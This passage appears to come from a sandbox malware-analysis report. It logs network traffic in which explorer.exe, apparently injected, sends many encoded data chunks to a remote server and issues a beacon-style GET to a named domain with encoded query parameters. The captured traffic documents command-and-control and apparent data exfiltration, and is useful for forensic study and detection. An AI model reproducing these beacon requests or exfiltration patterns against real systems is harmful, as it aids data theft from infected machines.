38 75 32 45 76 61 53 46 4b 48 7a 48 49 48 67 69 68 76 7a 30 78 6e 35 77 31 43 68 4f 61 30 4c 76 31 6e 78 48 67 58 30 66 45 56 2f 33 79 43 4b 6c 74 35 55 56 4e 50 6c 6d 61 70 43 6a 78 78 46 38 35 78 50 73 30 36 6d 63 39 45 56 51 5a 6f 6a 56 73 37 75 4a 4c 74 66 6d 4f 66 33 30 79 4f 4a 32 35 6e 71 71 74 34 67 70 51 30 50 6c 2f 49 58 4d 35 67 50 62 35 36 2f 45 51 6b 6b 43 67 68 54 45 61 30 64 33 52 34 6e 66 39 49 50 6d 6b 6f 72 50 72 31 4a 4e 30 39 43 55 49 34 55 5a 46 50 65 47 4d 4b 5a 6a 31 7a 70 4a 6c 75 7a 4f 33 4e 6f 42 67 72 48 63 44 41 4f 55 55 58 6d 48 57 69 39 6b 5a 4b 68 48 73 39 66 76 50 65 57 4a 57 30 6e 35 47 34 6b 6d 50 61 4d 6b 50 42 4e 56 7a 30 6c 45 51 76 74 65 71 72 76 6d 41 6f 65 6b 48 37 34 57 43 71 50 69 39 65 45 5a 44 41 68 50 32 46 4c 51 31 58 6a 45 30 67 45 63 77 58 6f 46 4b 39 71 53 55 56 73 57 47 4f 35 75 45 39 65 46 43 65 6d 35 62 4d 4a 58 47 66 36 4a 35 6f 52 7a 49 38 46 48 79 4c 35 57 68 4b 55 62 6d 7a 69 56 77 7a 2b 37 58 38 76 49 43 63 6a 6c 77 47 66 30 6e 72 31 50 45 4f 64 53 6c 61 31 2f 4f 34 6c 7a 6e 75 4d 34 65 74 31 7a 55 38 58 66 45 4f 70 75 43 53 5a 4a 54 53 4a 42 30 42 4b 63 6b 76 6a 45 45 71 34 78 4d 49 54 71 36 41 33 73 42 51 6d 44 41 72 4f 6a 37 68 55 32 4c 62 6c 50 46 48 63 2b 69 2b 62 75 73 36 78 65 61 68 30 76 72 30 4a 2f 6b 44 6b 77 2b 7a 39 57 68 79 78 79 44 39 5a 50 72 55 79 74 66 4a 55 68 35 6e 30 4d 50 67 46 6f 35 37 61 76 30 36 66 76 62 65 63 51 5a 6c 38 7a 31 6e 64 4c 4f 7a 6e 5a 43 7a 4e 41 49 53 30 57 77 4b 7a 48 4d 73 70 66 51 63 35 66 53 53 6e 55 2f 57 72 41 63 78 69 37 45 75 77 37 68 32 2b 6c 36 76 69 66 36 72 56 65 4e 4a 47 6e 50 79 71 32 32 43 67 51 77 67 5a 53 75 68 6a 69 63 77 72 66 62 6e 35 65 36 34 32 6a 68 56 6c 7a 2b 61 5a 74 4d 37 5a 4e 45 31 42 46 77 6b 34 72 52 36 52 63 36 55 61 5a 32 56 74 48 49 33 70 6a 48 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:49:38.028992891 CEST	2123	OUT	Data Raw: 64 6d 50 47 66 6d 50 4c 39 31 35 38 32 31 72 2b 50 2b 75 64 75 2f 31 51 68 2f 35 2b 79 72 36 56 30 6a 59 72 4e 51 41 45 2b 37 6e 64 6a 4b 35 67 44 33 75 48 4f 2f 43 57 4a 45 75 41 70 75 6d 4f 68 61 58 64 4f 33 6a 49 38 4d 4e 78 42 76 75 75 44 7a Data Ascii: dmPGfmPL915821r+P+udu/1Qh/5+yr6V0jYrNQAE+7ndjK5gD3uHO/CWJEuApumOhaXdO3jI8MNxBvuuDzgx57yxI3ekhztzmgF2KzP1YHy3HBW/hi8uLqrUk7eisOky9ecevpXfQViujWdAY9l5LFXoKTZylwVLqLXtEhVVjKfokBKOQLFKlCjO6d/p0bPaXBf8L8cpo3ND1ojVdfUBDqoxneZu1LQ5HdnplLYYAGUzK8syZuZ
Aug 29, 2023 22:49:38.177865028 CEST	2125	OUT	Data Raw: 6f 36 71 69 43 36 36 71 63 32 59 51 31 34 77 58 75 4c 62 4f 2f 74 2b 50 69 49 74 45 78 38 41 51 67 73 51 6d 65 56 64 56 57 49 33 6b 6c 41 34 4a 75 66 68 30 64 41 53 52 77 4f 78 53 77 31 46 71 4c 70 54 59 2b 71 61 6d 62 41 75 51 43 49 78 47 75 6f Data Ascii: o6qiC66qc2YQ14wXuLbO/t+PiItEx8AQgsQmeVdVWI3klA4Jufh0dASRwOxSw1FqLpTY+qambAuQCIxGuoXW3hNZVRauoz0Sgu8ShV/4xWouJQgjit3FrNlNeWaCo3zwvePuyRv5WHVJgkRirCjlSamS2K+W6qUWQbD73uj6UTt4X4nzTLmxRx6rkhSeBOEzFWnnQgFh5YqP4F1MiuYD9lx6qf2X4Mz0qGgQaejPbDgs2JkAd5u
Aug 29, 2023 22:49:38.178025961 CEST	2131	OUT	Data Raw: 38 79 66 57 4b 49 32 61 4b 4b 7a 42 70 71 33 42 51 6e 57 56 71 78 38 6c 39 46 2b 42 63 56 6e 6a 66 7a 6c 48 74 38 63 71 55 4b 47 58 77 47 54 4f 55 4c 4c 4e 6a 44 7a 6e 54 71 5a 52 4e 6c 31 63 55 4d 53 66 76 31 6f 46 52 52 30 76 59 71 38 58 45 74 Data Ascii: 8yfWKI2aKKzBpq3BQnWVqx8l9F+BcVnjfzlHt8cqUKGXwGTOULLNjDznTqZRNl1cUMSfv1oFRR0vYq8XEtu3LuztGCo3kYxk3EdbgOJxG1gTO0CDAIPzDrGcgUdr0YbEfiQLhcvrsXBh0hOBNiX/bLHHDMZ7POuu3DiyvPchEMP1wQfPL7AFKads39KzJN+I4K0v2SIS7NRrrr6E+9ozP1jMQRW1pLK3afUhpgieR7HxJWzu6Kl
Aug 29, 2023 22:49:38.178206921 CEST	2137	OUT	Data Raw: 47 49 48 53 73 68 36 36 67 66 68 5a 56 50 57 45 6a 4e 70 62 33 64 4b 6b 4b 51 66 74 53 46 34 4b 54 76 31 73 79 76 69 5a 46 71 68 57 31 2f 61 30 33 6a 50 72 79 32 47 69 54 34 65 65 59 34 33 2f 31 4f 39 6b 37 5a 30 59 62 43 6c 48 47 59 75 47 77 4d Data Ascii: GIHSsh66gfhZVPWEjNpb3dKkKQftSF4KTv1syviZFqhW1/a03jPry2GiT4eeY43/1O9k7Z0YbClHGYuGwMqijdPEBl3JyI4NixJmX40eaVyCIjLBY0pK4z7ukWUvHetDlSsbtV75jGMjDmH3Gitylx9RaeU52aNfxYwzDbgIZY5f61eWDW92mk967tuoEPD7xrCTFf9ApK/x1rZUO0HazndiMRVwYA6LvPFJegwZrJP7Tg40avI
Aug 29, 2023 22:49:38.178307056 CEST	2140	OUT	Data Raw: 77 46 4c 45 6b 64 65 70 79 77 68 6f 34 4d 39 67 72 4c 2f 6f 30 56 62 4c 47 67 52 4e 49 2f 66 61 4f 69 78 2f 6e 6e 33 65 69 75 7a 72 4a 78 33 67 6f 74 5a 70 5a 77 36 71 63 56 52 49 70 62 41 33 4a 6b 2b 65 6d 69 34 67 79 4d 43 47 43 71 74 55 59 61 Data Ascii: wFLEkdepywho4M9grL/o0VbLGgRNI/faOix/nn3eiuzrJx3gotZpZw6qcVRIpbA3Jk+emi4gyMCGCqtUYaHXvaXiqh+TPJaOFJtm1zKyKgzMfBGivUpmJynmAXJgsbG2WCWeenxBi5zB4sOAZMWogzn1E59x5NTD+wiGPYbYpGWiESFumcNsv7WusbHE7/gU/Vs90F09dwvFsVffj8IpMLZzJU4rPMUJlhOEUw/W8Nzz9Z88GT6
Aug 29, 2023 22:49:38.178472042 CEST	2143	OUT	Data Raw: 4e 4c 43 58 72 55 43 63 49 36 46 59 4b 55 6c 6d 71 74 6c 6e 4f 75 45 64 4e 59 74 7a 2b 33 48 34 38 6c 63 44 71 67 62 4a 30 64 4a 64 74 76 32 62 54 71 44 6f 67 6e 4f 4f 2b 2f 6e 48 5a 56 75 75 6e 67 48 32 4c 70 78 50 59 31 72 39 32 52 43 52 44 75 Data Ascii: NLCXrUCcI6FYKUlmqtlnOuEdNYtz+3H48lcDqgbJ0dJdtv2bTqDognOO+/nHZVuungH2LpxPY1r92RCRDujwaOHs9DumMrBSUl1oUqJKA11WXQf6o5nqJTmlktxe1fog37miW7uhApazgTXPDJVZIBifSjU1MkYg5f60PKQNwOA5ZX8MyFy15UplOMOO88+p+mdGQS+UWRbC9doEMtrLLoBbyUx/eiAjeBzKmrDiQ3dPd4q1rfJ
Aug 29, 2023 22:49:38.178652048 CEST	2149	OUT	Data Raw: 61 6e 71 55 4c 4c 45 79 75 64 7a 51 70 70 54 58 52 53 5a 77 70 68 30 56 2f 4a 50 2f 6e 7a 7a 79 4f 53 76 50 54 46 6b 37 68 6c 76 42 4a 31 4a 76 77 36 62 72 53 49 41 75 5a 78 32 58 4f 69 68 74 52 45 65 73 78 6c 6e 55 75 71 33 4f 77 34 43 36 63 4a Data Ascii: anqULLEyudzQppTXRSZwph0V/JP/nzzyOSvPTFk7hlvBJ1Jvw6brSIAuZx2XOihtREesxlnUuq3Ow4C6cJrMXWzVwMOXJHz6Y1lX7GvuP5WWj4UbgCRVCxaJAJzFwowpev9g/6Sl5LpO2D3kiNS+W5dJwtVLrEPvOw3h9nMksincleOk1O0yzYpBMvsFvBXHUZ+5TCfSo97ffUz+n4Eqx9VjC6hTsRksI0NLgSNWcujE+VUeV+Z
Aug 29, 2023 22:49:38.326901913 CEST	2151	OUT	Data Raw: 66 79 75 49 63 52 6b 78 67 6e 69 7a 79 66 49 31 6f 65 33 74 4d 52 71 67 36 76 6b 73 63 65 77 69 62 34 36 45 77 4d 64 77 6d 4a 50 46 57 42 4b 50 34 56 57 6c 66 64 34 59 39 6c 31 74 38 66 66 53 63 71 42 6d 55 48 63 77 67 37 44 4b 32 39 31 65 2b 31 Data Ascii: fyuIcRkxgnizyfI1oe3tMRqg6vkscewib46EwMdwmJPFWBKP4VWlfd4Y9l1t8ffScqBmUHcwg7DK291e+1zCpHXEqPzULGQqV1NVsTH39C1z+3tdPmzIx2/uO70VkoWFHNFRNERB9HAXj3vkQEraHm+xoxPpGyWal1HqzeEONMrkJTCa2gpMXdd9RwgOnepqrnFXKQGzPRG2sCiKkE1Xfl3TQ77rSaC+nzDmSDiWdMHmesKxGv7
Aug 29, 2023 22:49:38.327058077 CEST	2154	OUT	Data Raw: 51 45 71 4b 35 72 64 73 4f 6b 45 53 69 68 38 43 6f 66 34 50 36 70 70 43 32 38 34 56 68 63 58 72 69 54 30 30 48 42 64 59 55 64 4a 62 53 52 50 6c 68 50 61 48 68 39 4c 6e 6c 57 39 6d 31 64 4a 69 4e 54 36 78 47 31 37 51 63 33 43 5a 35 4e 79 67 62 56 Data Ascii: QEqK5rdsOkESih8Cof4P6ppC284VhcXriT00HBdYUdJbSRPlhPaHh9LnlW9m1dJiNT6xG17Qc3CZ5NygbV6HFQv5YNfZLt4QRvbJc+o+kOMLqS3vbx8Bp5vXpMSUsAEHFCyklxizSE5FSDVK5q6ud9ZWz1OUuJxln1KRJ5bDlMDCjdmm//Q0IDiR8GHM15UZa3dqLYseFVyQ20jIJGK31ae8xWnXno0M2Ail/fycaFlq8AMWogS
Aug 29, 2023 22:49:38.327203035 CEST	2162	OUT	Data Raw: 4d 63 46 4e 59 48 4f 42 34 51 51 77 36 74 4c 67 4b 53 38 6f 59 67 4e 75 32 4e 2b 6b 48 73 32 79 4a 79 35 4a 59 76 2b 61 37 37 69 56 6d 41 6e 68 74 68 58 50 6e 38 4b 57 65 44 35 54 68 58 75 4c 61 61 39 44 4e 45 66 33 4c 65 51 73 74 6a 68 33 7a 54 Data Ascii: McFNYHOB4QQw6tLgKS8oYgNu2N+kHs2yJy5JYv+a77iVmAnhthXPn8KWeD5ThXuLaa9DNEf3LeQstjh3zTli6u4SHXjjB+bOHYRmK474GJhk25qBrHINRLDV7xBYg+I3e1G6lnd68xKS3jFbAxeo6lupbEHRiSY51xJb9Doa/GtSWL2aVg4sCYKYPwayt9ncuYjveAIQZOdkhH5W1Cn0i9Ah7RSPn/BKiWTMJ6NUXiPD/5vxRIb
Aug 29, 2023 22:49:38.552381992 CEST	2166	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:49:39 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 34 35 c6 48 9c 79 3f 6a ef b8 71 50 0e 3a dc bb 79 92 97 0f d0 df fb 97 f6 7e d8 2b 0d 9f 12 38 81 be a7 15 8e e7 45 59 f0 00 dd f4 a7 4e 19 44 d9 bb ee ff f8 29 7e 05 dc 3a ca b3 6f 90 9f e7 35 28 6f ec e1 45 55 91 38 a7 07 68 9f e4 6e fc 7f c0 ee fb 10 7f 4e 94 7d e0 f4 2c e4 7d 02 fc fa 01 72 9a 3a 7f cf ec 85 5c 3e 5b f1 23 fd 4d 77 08 43 af 3d f0 a6 e9 f7 12 54 45 9e 55 e0 3e ca fc fc 46 d1 57 bb f2 97 f6 c6 fb 6a 7a 55 3b 75 53 dd bb b9 07 6e 26 5f a2 e6 d9 fd 14 8a fe c3 1f cd 2e 81 53 e5 d9 d7 f3 71 ea 7a fe 10 92 5f b9 e0 4a b2 8b 4d dd fa a2 d7 b7 9f 9e fd fe cc eb 7e 28 14 37 0c 5f b5 45 2f ed 53 79 87 58 1a 02 c3 49 3e 33 d7 55 b4 96 a0 00 4e fd 00 65 f9 fd f3 cf 37 b8 41 fc ab 91 af 5c 71 86 60 49 f6 fd b0 57 da f4 d2 de 68 57 5a de 4a e4 7c a1 d4 9f 87 b8 8f 6a 90 56 37 30 3f 23 09 47 8b fe 43 2a 45 d9 5b 2a 33 c4 17 81 76 ed 8f 1b f4 97 38 de e7 75 9d a7 0f d0 c0 e3 4d d9 9f 15 e8 a5 94 8c ae 89 57 96 78 87 7f 6b 86 c1 dd f7 1e 70 f3 d2 19 fc f7 00 35 99 07 ca a1 08 bd 67 f4 6a 71 12 a7 39 fe ca 1b 5f f2 79 08 f3 16 94 57 f1 f5 5e 8c 07 3f 77 9b ea 6b b2 e3 d6 51 7b 9b 39 af 42 e0 ec 88 64 46 6f 02 5e 09 f1 75 14 bf d6 b5 cf 1c 75 95 92 d8 17 66 6c 92 1b df fc cc b4 28 bb d4 ec 4f 6a 5e 12 55 f5 fd 65 59 19 02 3e 03 50 de d4 55 e4 81 cb cb 9b f8 83 23 5f a5 bb 29 c6 3f c3 eb aa ff 4d db 26 81 92 e8 46 2c 3f c9 87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2d c2 9b 99 3f 5d 3e af 27 de 7a e8 3a 46 46 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 3c a2 8b fe af 37 6c 6e a3 f6 86 3c 18 af c8 ab cb 0a f5 00 95 20 71 86 e2 f2 c6 70 a0 0f 6d a8 58 7e 92 77 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< qpmX~wPy>Z.sUd3+>VK%dS4/s/Y~>
Aug 29, 2023 22:49:38.552453995 CEST	2167	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea e9 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b c8 08 1f b6 22 10 0a 31 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb,+3eYmxyVaY/C=5)`?:QJB#xAkmk
Aug 29, 2023 22:49:38.552510977 CEST	2168	IN	Data Raw: 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 c7 0c a5 de ac 01 51 49 42 ab ae e4 82 34 04 8f 53 97 2a cb a8 cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 a1 d7 ab 09 Data Ascii: rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-Q7HlRAp#T86Rnt!y"Altv
Aug 29, 2023 22:49:38.552618980 CEST	2169	IN	Data Raw: 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 5d e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 a0 db b8 1b 1d b3 6d da 4c 56 53 da 08 56 74 1d c2 Data Ascii: q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zlir_(q:iP<<&=uTY={54Wb
Aug 29, 2023 22:49:38.552679062 CEST	2170	IN	Data Raw: 61 0d 0a 03 00 90 39 18 d7 84 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a9'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	50045	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:40.697865009 CEST	2171	OUT	GET /aw8o/?5Nag0d=9zOZF6sYY9k/tdVrbXWkN8sA2agMahsOyqxI7TXZC8QU+v+BgRTEySnaHWgeO9Bnd0OQd62k8t+QBgqfLMlzOLISTcCK1ibTiw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:49:40.846213102 CEST	2172	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked date: Tue, 29 Aug 2023 20:49:41 GMT server: LiteSpeed Data Raw: 32 37 38 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 